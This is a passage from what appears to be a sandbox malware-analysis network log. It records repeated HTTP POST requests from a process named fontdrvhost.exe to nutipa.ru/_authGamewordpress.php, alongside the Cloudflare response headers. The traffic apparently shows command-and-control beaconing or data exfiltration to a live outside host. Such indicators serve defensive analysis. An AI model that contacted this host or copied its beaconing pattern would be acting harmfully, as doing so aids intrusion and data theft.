      Date: Tue, 17 Dec 2024 01:52:47 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7skMrDvE%2FKifJCD%2BHMIy3iilBCtACoK75fuT8SRxnvgxarKKKUBhrnVUhHDoL7kczcsmS53k9VHWf3hh%2F%2BaN%2FbLoHLD9HqV4Vhr6cf%2F1tnYQZlVaxiCvhXyK6Ro%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334698ec1f7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29461&min_rtt=28379&rtt_var=878&sent=240&recv=230&lost=0&retrans=1&sent_bytes=56059&recv_bytes=101293&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:48 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tQ6LAKto0XfcEfJsqc7PacLSy57U0YEti4xzGBZFm5EE0CLarzGAUy27zyYxb7PgAsqomz2MLTMOQ7GPYkrhVmzF9Anav1QJSZabAW9Le%2FcV809aMam9aASCGx8%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346a028d27713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30709&min_rtt=28379&rtt_var=3066&sent=244&recv=234&lost=0&retrans=1&sent_bytes=57043&recv_bytes=103112&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:49 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LdG24B0V8uTG7uNWv%2BPKXni0jqtY2BfkDdtDxssZQvZI%2ByC9cMIK0rLi3E%2FrSWhsSr%2BVuz8mQlZiDtL4Ty3toVtX5xy2MYSwrctZEssod05guoIPA7aq3jGa5qM%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346a77d907713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=31402&min_rtt=28379&rtt_var=3721&sent=248&recv=238&lost=0&retrans=1&sent_bytes=58018&recv_bytes=104931&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:51 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8zuNcWdlYryZNwUT6E%2F0SteaQEK7k3GJ3xauB09iP6ybOCeA%2FQ35XxA7tK2mlExiOwbxYG7DOOLyPqZOVsmWeVwbZ81cJfDkNXPUuzOy1D%2ByYN3o%2FhhbL3DAD4Q%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346aeca017713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30816&min_rtt=28379&rtt_var=3107&sent=252&recv=242&lost=0&retrans=1&sent_bytes=58999&recv_bytes=106750&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:52 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kxxUfZewd9F%2FNhnaipYygvfKZOM3BMg3m0FWgQ5K0z7g6uRvBKcGJDGOFZM%2BI16%2FgKYII9QCW6OCpGErioY2wOsxx2LXxNIp71EDnDgpulbQLzn2YXAPohTRvDs%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346b60e2e7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30335&min_rtt=28379&rtt_var=2583&sent=256&recv=246&lost=0&retrans=1&sent_bytes=59980&recv_bytes=108569&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:53 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1UVk0%2FW%2BsFbQkzGwk0zYeTpr0QXTyDKmhFC8Nih8ktj49NvsX5EtSiUl1xoDC%2BIO9WWZDSDdsOC9ppTEEFnSkLBQ3%2FxPfBX1EUsKa84JDH3jfjCPCQkRSz6s8WI%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346bd2ae97713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30023&min_rtt=28379&rtt_var=2014&sent=260&recv=250&lost=0&retrans=1&sent_bytes=60959&recv_bytes=110388&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:54 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VR244JI2DZChcY6CiaU%2FqzbFo5Gjt3bVSXvKZvd68L6jYP3o6iMh%2BALWbgSCh%2FpVvx3e9STKmlnpMvmrrYh5YaoehhoCBl1A%2FClF39r0G3WAPTeYCjJsjJjR50Q%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346c4580a7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30334&min_rtt=28379&rtt_var=1893&sent=264&recv=254&lost=0&retrans=1&sent_bytes=61940&recv_bytes=112207&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:55 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z2enLzwMNzO%2BDk38ro%2BFebVunfMI1dTEiLkxLiT%2Bdk82syU%2BVGW7%2FLWVLKUiKbw4eLwqxY4656BRsMljbc%2BOnmCIav6Cq5Ea6lTpV6KhoX67cXmKBmDRmOIJC60%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346cb9c4f7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29973&min_rtt=28379&rtt_var=1697&sent=268&recv=258&lost=0&retrans=1&sent_bytes=62921&recv_bytes=114026&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:56 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FnLPJDFiDtPKZqJPARL5AmJZml6xh2Eb%2FNQ1abzwtwToIkUsxhqbIIljYQPWEFtPAnVZCeizCg%2FkEny2eUkmSgqIpnKb94wvi7MzMD%2BwnAopHqd6MF977DjB92Y%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346d2d8c17713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30469&min_rtt=28379&rtt_var=1983&sent=272&recv=262&lost=0&retrans=1&sent_bytes=63906&recv_bytes=115845&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1516
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:58 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oeEs0zaxEV83jQZPmewJ2Qehl7Qld4w7WzblAWeTqn50%2F%2BZRBLx6%2F6YNYq664sDIXmTEDr58IiGMcLHNfOxub6%2BERQdwuuIBX7Wb4U%2Fnp%2FtBp9003OFG2kUQFrE%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346da0d0b7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30032&min_rtt=28379&rtt_var=1874&sent=276&recv=266&lost=0&retrans=1&sent_bytes=64885&recv_bytes=117640&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:59 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=33xJTdFDX1UZe9RlEPe3kDHkxWS0aTE0%2BM%2BbICEzaWiBCeA3hIWZQp%2FQv1SkLxaJoNKZS89RA9ND83arCWAOZxMSVQQVQmINe%2BvdfHOC2NPG7nNN4y7%2BMpu6Y3Q%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346e14a8b7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30143&min_rtt=28379&rtt_var=1485&sent=280&recv=270&lost=0&retrans=1&sent_bytes=65870&recv_bytes=119459&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:00 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UVvmngKfcHvx8z8jFyLWHUettJBO8TcB6LVTAh3zxwixNjYe6%2FdtKZtKfVBmI3Wzczdh86aXRLaKhdX8nnOg5l4yyyzhl1hyMaJ7PXVdP%2F2e84EuJv%2BhTEQ8PUs%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346e88f0c7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29922&min_rtt=28379&rtt_var=1244&sent=284&recv=274&lost=0&retrans=1&sent_bytes=66853&recv_bytes=121278&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:01 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3uwIfHgQZM2JWcdZTi9oYDuhOkSzLQM0ioHJ5TNCxBo6A0PXldks%2FwDkWFEEnE2AvJX8C2dukR9PjS1d550ePEmHXfjBJp2AOOv1g2WHOlrOoKf%2BSTu4gj0mvKQ%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346efbbb07713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29640&min_rtt=28379&rtt_var=1181&sent=288&recv=278&lost=0&retrans=1&sent_bytes=67832&recv_bytes=123097&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:02 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6XpEczZtkcbt4E0uD%2BxzzwRC8LKY1xjXxNFgNwki5580aWq9Xp1IhcK3eKzjlP8NJLuPABBsWNXrXKAnVx2edtqvxFnyjXOAbpY%2Bzv%2FC44T2XK8bVDiAnqZdqDI%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346f6f8647713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29464&min_rtt=28379&rtt_var=967&sent=292&recv=282&lost=0&retrans=1&sent_bytes=68809&recv_bytes=124916&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:03 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G9Q3eLsm67Shq7oJzKXje26LqsnaK4EDdxJXAwP6BS%2Bq1DxXOqvK5iESVnY8NsJBpSa7UODhKotJ5wGJutNTawLK1pqLbkzVTsdL9aGbNzjSukyNRD0scajZLyM%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3346fe2dad7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29740&min_rtt=28379&rtt_var=1024&sent=296&recv=286&lost=0&retrans=1&sent_bytes=69787&recv_bytes=126735&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:04 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZxUn%2FpDtJDISr0Yhxj2%2FKMkjPaZHbXrOTaLfX%2FCOjRrs%2B0bYXSSi2%2BndSqZwB%2FdIZrg4hYk%2B%2BBuSxokivLzqqToJc%2BfseanhTFN2xJa7Qh2MSvE6wJW%2FYHZLAeU%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347056ab67713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30627&min_rtt=28379&rtt_var=2851&sent=300&recv=290&lost=0&retrans=1&sent_bytes=70762&recv_bytes=128554&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:06 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LT8mwk%2BfeysWLxnmW4yBVflqB1fisXyw8YO73aCVODNKXLVp5OCzef%2FtgWMKqzxUx3nZvMxx8aZzX8Q2cT57e2ZmTt04m02%2FGwY6p1M1EJ0CUyXh%2FkTLB%2FSIbzY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33470ca8ba7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30221&min_rtt=28379&rtt_var=2303&sent=304&recv=294&lost=0&retrans=1&sent_bytes=71755&recv_bytes=130373&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:07 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rrkq2bDMa5OA7ug%2FAAxyhw%2BDmv44p5nbE7LgYeU%2B5fnJ0jYq%2BG%2BSazSZMxxaKa5uUkxyw1fdLKlZeccHLW9PyFL4t2PMh0JBsS6EjWjYpHe5Pqx8tmf0x7sTc9I%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334713ddd47713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29864&min_rtt=28379&rtt_var=1911&sent=308&recv=298&lost=0&retrans=1&sent_bytes=72738&recv_bytes=132192&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:08 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZIn6ylvkeHeQN0rB%2FxQvs1PYI5lCSp%2F9FrFMuLXXsIjfQtj3XUbYwEtOzbFNraRzqwdmZMqKosGZ8gwlAvz34KWQXCXupAe9wrTgsvFaGLg3%2BgssblPs21a4x%2F0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33471b1be07713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29623&min_rtt=28379&rtt_var=1479&sent=312&recv=302&lost=0&retrans=1&sent_bytes=73721&recv_bytes=134011&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:53:09 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LcNiyOwtARhHJnhWSO9SzWqjDjWifQMPiQyhLMrQFmUQEVKn9mMVt25pfmpPVHjiu5m%2F%2BLxCnsKTMOWhiRWYCpEFrJQnh0w%2FEonrxOA95y2BtADjI2Yq%2BEp4rA0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3347226a337713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29479&min_rtt=28379&rtt_var=1069&sent=316&recv=306&lost=0&retrans=1&sent_bytes=74702&recv_bytes=135830&delivery_rate=95388&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
